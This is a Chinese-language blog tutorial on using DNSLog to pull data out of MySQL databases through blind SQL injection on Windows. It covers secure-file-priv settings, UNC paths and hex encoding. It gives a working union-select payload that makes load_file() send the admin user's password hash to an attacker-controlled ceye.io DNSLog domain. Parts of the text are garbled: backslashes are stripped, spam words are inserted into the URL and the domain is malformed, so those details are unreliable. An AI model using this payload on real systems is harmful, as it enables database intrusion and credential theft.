DNSLog在MySQL注入中的方法是什么

这篇文章主要介绍“DNSLog在MySQL注入中的方法是什么”，在日常操作中，相信很多人在DNSLog在MySQL注入中的方法是什么问题上存在疑惑，小编查阅了各式资料，整理出简单好用的操作方法，希望对大家解答”DNSLog在MySQL注入中的方法是什么”的疑惑有所帮助！接下来，请跟着小编一起来学习吧！简单理解就是在某些无法直接利用漏洞获得回显的情况下，但是目标可以发起DNS请求，这个时候可以通过DNSlog这种方式把想获得的数据外带出来。SQL注入中的盲注无回显的命令执行无回显的SSRF作为攻击者，提交注入语句，让数据库把需要查询的值和域名拼接起来，然后发生DNS查询，我们只要能获得DNS日志，就得到了想要的值。所以我们需要有一个自己的域名，然后再域名商处配置一条NS记录，然后我们在NS服务器上获取DNS日志即可。本次演示一个最常见的注入场景，就是WHERE后面条件处的注入。实验环境有一个test_user表，三个字段id、user、pass。如下最后就不再自己搭建一个DNS服务器了，直接用ceye.io这个平台，这个平台就集成了Dnslog的功能。MySQL开启load_file()DNSLog平台（hyuga、CEYE）Windows平台条件：服务端配置可读写目录和正确的用户权限。mysql服务端的文件读取有很多的条件限制，主要是mysql数据库的配置，为了安全原因，当读取位于服务器上的文本文件时，文件必须处于数据库目录可被所有人读取。你可以通过执行show variables like '%secure%'来查看。secure-file-priv参数是用来限制LOAD DATA,SELECT ... OUTFILE,DUMPFILE和LOAD_FILE()可以操作的文件夹。secure-file-priv的值可以分为三种情况：secure-file-priv的值为null，表示显示mysqld不允许导入|导出secure-file-priv的值为/tmp/，表示限制mysqld的导入|导出只能发生在/tmp/目录下，此时如果读写发生在其他文件夹中，就会报错当secure-file-priv的值没有具体值，表示不对mysqld的导入|导出做限制。除此之外，读取或写入文件必须拥有可操作的用户权限否则会报错。ERROR 1045 (28000): Access denied for user读取文件写入文件MySQL应该是在实战中利用DNSLOG最多的。在MySQL中，有一个load_file函数可以用来读取本地的文件。http://127.0.0.1/mysql免费云主机域名.php?id=1 union select 1,2,load_file(concat('\',(SELECT hex(pass) FROM test.test_user WHERE user='admin' LIMIT 1),'.mysql.nk40ci.ceye.ioabc'))可以看到test_user中的pass字段的值的Hex码就被查询出来了，为什么这个地方Hex编码的目的就是减少干扰，因为很多时候数据库字段的值可能是有特殊符号的，这些特殊符号拼接在域名里是无法做DNS查询的，因为域名有一定的规范，有些特殊符号是不能带入的。注意：load_file函数再Linux下是无法用来做DNSLOG攻击的，因为这里就涉及到Windows的UNC路径。百度的UNC路径的解释UNC是一种命名惯例, 主要用于在Microsoft Windows上指定和映射网络驱动器. UNC命名惯例最多被应用于在局域网中访问文件服务器或者打印机。我们日常常用的网络共享文件就是这个方式。其实我们平常在Windows中用共享文件的时候就会用到这种网络地址的形式sss.xxxtest这也就解释了为什么CONCAT()函数拼接了4个了，因为转义的原因，4个就变成了2个，目的就是利用UNC路径。因为Linux没有UNC路径这个东西，所以当MySQL处理Linux系统中的时候，是不能用这种方式外带数据的。到此，关于“DNSLog在MySQL注入中的方法是什么”的学习就结束了，希望能够解决大家的疑惑。理论与实践的搭配能更好的帮助大家学习，快去试试吧！若想继续学习更多相关知识，请继续关注云编程开发博客网站，小编会继续努力为大家带来更多实用的文章！

相关推荐: SAP中怎么查看BOM的修改记录

小编给大家分享一下SAP中怎么查看BOM的修改记录，相信大部分人都还不怎么了解，因此分享这篇文章给大家参考一下，希望大家阅读完这篇文章后大有收获，下面让我们一起去了解一下吧！方案一：se38：RCS00100，F8执行（DATUM表示开始日期，tabname：…